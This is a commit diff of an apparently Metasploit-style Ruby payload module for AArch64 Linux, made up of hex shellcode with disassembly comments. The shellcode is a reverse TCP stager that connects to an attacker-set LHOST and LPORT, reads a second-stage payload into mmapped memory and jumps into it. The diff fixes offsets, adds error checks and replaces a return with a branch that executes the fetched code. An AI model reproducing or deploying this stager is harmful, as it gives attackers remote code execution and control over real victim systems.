@@ -33,8 +33,8 @@ def initialize(info = {})
33
33
{
34
34
'Offsets' =>
35
35
{
36
- 'LPORT' => [ 186 , 'n' ] ,
37
- 'LHOST' => [ 188 , 'ADDR' ] ,
36
+ 'LPORT' => [ 206 , 'n' ] ,
37
+ 'LHOST' => [ 208 , 'ADDR' ] ,
38
38
} ,
39
39
'Payload' =>
40
40
[
@@ -45,19 +45,20 @@ def initialize(info = {})
45
45
0xd28018c8 , # mov x8, #0xc6 // #198
46
46
0xd4000001 , # svc #0x0
47
47
0xaa0003ec , # mov x12, x0
48
- 0x10000501 , # adr x1, b8 <sockaddr>
48
+ 0x100005a1 , # adr x1, cc <sockaddr>
49
49
0xd2800202 , # mov x2, #0x10 // #16
50
50
0xd2801968 , # mov x8, #0xcb // #203
51
51
0xd4000001 , # svc #0x0
52
- 0x35000420 , # cbnz w0, ac <failed>
52
+ 0x350004c0 , # cbnz w0, c0 <failed>
53
53
0xaa0c03e0 , # mov x0, x12
54
54
0xd10043ff , # sub sp, sp, #0x10
55
55
0x910003e1 , # mov x1, sp
56
56
0xd2800082 , # mov x2, #0x4 // #4
57
57
0xd28007e8 , # mov x8, #0x3f // #63
58
58
0xd4000001 , # svc #0x0
59
- 0x34000340 , # cbz w0, ac <failed>
60
- 0xf94003e2 , # ldr x2, [sp]
59
+ 0xb100041f , # cmn x0, #0x1
60
+ 0x540003c0 , # b.eq c0 <failed>
61
+ 0xb94003e2 , # ldr w2, [sp]
61
62
0xd34cfc42 , # lsr x2, x2, #12
62
63
0x91000442 , # add x2, x2, #0x1
63
64
0xd374cc42 , # lsl x2, x2, #12
@@ -69,19 +70,23 @@ def initialize(info = {})
69
70
0xaa1f03e5 , # mov x5, xzr
70
71
0xd2801bc8 , # mov x8, #0xde // #222
71
72
0xd4000001 , # svc #0x0
72
- 0xf94003e4 , # ldr x4, [sp]
73
+ 0xb100041f , # cmn x0, #0x1
74
+ 0x54000200 , # b.eq c0 <failed>
75
+ 0xb94003e4 , # ldr w4, [sp]
73
76
0xf90003e0 , # str x0, [sp]
74
77
0xaa0003e3 , # mov x3, x0
75
78
0xaa0c03e0 , # mov x0, x12
76
79
0xaa0303e1 , # mov x1, x3
77
80
0xaa0403e2 , # mov x2, x4
78
81
0xd28007e8 , # mov x8, #0x3f // #63
79
82
0xd4000001 , # svc #0x0
83
+ 0xb100041f , # cmn x0, #0x1
84
+ 0x540000c0 , # b.eq c0 <failed>
80
85
0x8b000063 , # add x3, x3, x0
81
86
0xeb000084 , # subs x4, x4, x0
82
- 0x54ffff21 , # b.ne 84 <read_loop>
83
- 0xf94003fe , # ldr x30 , [sp]
84
- 0xd65f03c0 , # ret
87
+ 0x54fffee1 , # b.ne 90 <read_loop>
88
+ 0xf94003e0 , # ldr x0 , [sp]
89
+ 0xd63f0000 , # blr x0
85
90
0xd2800000 , # mov x0, #0x0 // #0
86
91
0xd2800ba8 , # mov x8, #0x5d // #93
87
92
0xd4000001 , # svc #0x0
0 commit comments